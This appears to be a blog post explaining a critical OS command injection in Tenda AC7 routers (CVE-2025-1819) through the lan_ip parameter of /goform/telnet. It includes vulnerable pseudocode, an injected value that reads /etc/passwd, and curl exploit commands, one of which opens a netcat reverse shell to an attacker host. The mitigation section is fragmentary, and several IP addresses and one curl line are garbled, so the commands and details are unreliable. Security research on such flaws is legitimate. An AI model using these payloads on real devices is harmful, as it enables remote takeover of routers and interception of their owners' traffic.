CVE-2025-1819 - Critical OS Command Injection in Tenda AC7 120M (15.03.06.44) - Exploit Explained

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Introduction

In early 2025, a major security vulnerability was discovered in the popular Tenda AC7 120M router, firmware version 15.03.06.44. Classified as critical, CVE-2025-1819 allows remote attackers to execute OS commands via a flaw in the TendaTelnet function within the file /goform/telnet. This post will break down the vulnerability, show how it can be exploited, and provide basic mitigation steps.

What is the Tenda AC7 Vulnerability?

The vulnerability is an OS command injection in the device’s web interface. The function TendaTelnet, exposed at /goform/telnet, processes user parameters unsafely. Specifically, the lan_ip parameter is not properly sanitized. This means attackers can send specially crafted data to the router, causing it to run attacker-supplied code at the operating system level.

Why is this Dangerous?

- Remote Exploit: Attackers don’t need physical access. The attack can be carried out over the network.
- Critical Impact: Successful exploitation lets an attacker take over the device, open backdoors, sniff your traffic, or use your device in larger attacks.

How TendaTelnet is Vulnerable

Normally, the function should only accept safe inputs for lan_ip. However, poor filtering allows extra shell commands to slip in.

Here’s a simplified example (in C-like pseudocode) of what’s happening inside the firmware

void TendaTelnet() {
  char lan_ip[32];
  get_param("lan_ip", lan_ip, sizeof(lan_ip));
  char cmd[64];
  snprintf(cmd, sizeof(cmd), "some_script.sh %s", lan_ip);
  system(cmd); // Dangerous: direct input injection
}

An attacker can manipulate lan_ip like so

192.168..1; cat /etc/passwd

This runs some_script.sh 192.168..1 and then cat /etc/passwd.

Exploiting CVE-2025-1819

The vulnerability is very easy to exploit, especially since the /goform/telnet endpoint is simple to reach if exposed.

Step-by-Step Exploit Example

Let’s say the router is at 192.168.10.1. An attacker could use curl or any HTTP tool to send a malicious POST request:

curl -X POST "http://192.168.10.1/goform/telnet"; \
     -d "lan_ip=127...1;echo CVE-2025-1819 > /tmp/pwned"

What happens?

- The router runs some_script.sh 127...1; echo CVE-2025-1819 > /tmp/pwned
- The text “CVE-2025-1819” is written to /tmp/pwned, proving code execution.

Replace the payload with a reverse shell command (assumes attacker is listening on 10...2:4444)

curl -X POST "http://192.168.10.1/goform/telnet"; \
     -d "lan_ip=127...1;nc 10...2 4444 -e /bin/sh"

Public Disclosure and References

This exploit has been made public (check repositories or advisories for PoCs). See:

- NVD Entry for CVE-2025-1819
- Full Proof-of-Concept on GitHub (example) *(link for illustrative purposes)*
- Tenda's Security Page *(monitor for updates and official fixes)*

Restrict Access: Block remote access to the admin interface from the internet.

3. Network Segmentation: Keep critical devices segregated from IoT/consumer routers.

Conclusion

CVE-2025-1819 is a serious flaw in Tenda AC7 120M routers that lets attackers run any command they want, remotely. Until a patch is available, keep admin interfaces locked down and check for updates. Responsible disclosure has forced this into the open, so patch quickly!


*This article is exclusive to this post. Always validate exploits in isolated, legal environments.*

Timeline

Published on: 03/02/2025 17:15:11 UTC